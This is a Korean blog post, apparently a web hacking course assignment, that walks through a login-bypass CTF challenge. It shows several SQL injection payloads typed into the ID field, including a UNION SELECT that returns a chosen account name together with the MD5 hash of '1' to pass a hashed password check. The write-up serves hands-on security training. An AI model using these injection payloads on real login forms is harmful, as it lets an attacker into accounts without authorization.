문제
normaltic4 로 로그인하자!
현재 우리의 계정은 다음과 같다. [ID/PW] : doldol / dol1234
id | pw | 성공여부 |
doldol' union select '1', '1 | dol1234 | 성공 |
wow' union select 'doldol', '1 | 1 | 실패 |
wow' union select 'doldol', '1 | dol1234 | 실패 |
doldol' # | dol1234 | 성공 |
doldol' # | 123 | 실패 |
위의 케이스로 볼때 id로 비밀번호를 찾고 입력받은 비밀번호와 db의 비밀번호를 대조 한다.
단 비밀번호를 암호화 했다.
==========================================================================
그렇기 때문에 db에서 union으로 입력한 1의 값을넣어도 1 == '암호화한 값' 이 true가 아니기 때문에
로그인을 할 수 없다. 하지만? 우리는 비밀번호를 알고 있는 하나의 계정을 안다.
즉 doldol의 비밀번호로 noranltic4를 로그인 시키면된다.
' union 'normaltic', (select {pw} from {table} where {id} == 'doldol')
=====================================결국 실패=======================
DB, Table, Column을 알 수있는 방법이 없어 포기
설마 암호화 한 값을 직접 뱉어내면 되겠지만... 그 많은 해시중에 뭐고 ..... salt값 있으면 안될테
' union select 'normaltic4', 'c4ca4238a0b923820dcc509a6f75849b'
옛날 수업노트를보니 md5를 사용하신것을 확인 할수 있었다.
1을 md5하면 c4ca4238a0b923820dcc509a6f75849b 값이 나오며
즉 로그인 할 때 1은 위와 같은 값이 되므로
' union select 'normaltic4', 'c4ca4238a0b923820dcc509a6f75849b'
id='normaltic' pw='c4ca4238a0b923820dcc509a6f75849b' 값이 반환되고
BackEnd 로직에서 입력받은 1이라는 비밀번호 또한' c4ca4238a0b923820dcc509a6f75849b'로 변환되어
'c4ca4238a0b923820dcc509a6f75849b'== 'c4ca4238a0b923820dcc509a6f75849b'
가된다..
문서를 안봤다면 md5이 전에 sha-256 512 다른 삽질 엄청 했을 것 같다.
문서를 참고하라고 해주신 김진규님 감사합니다~
'웹 해킹 코스 > 과제' 카테고리의 다른 글
SQL Injection Point 1 (1) | 2023.12.18 |
---|---|
Blind SQL 자동화 (0) | 2023.12.14 |
CTF Athentication Bypass(Login Bypass 3) (1) | 2023.12.03 |
CTF Athentication Bypass(Login Bypass 2) (1) | 2023.12.03 |
CTF Athentication Bypass(Login Bypass 1) (1) | 2023.12.03 |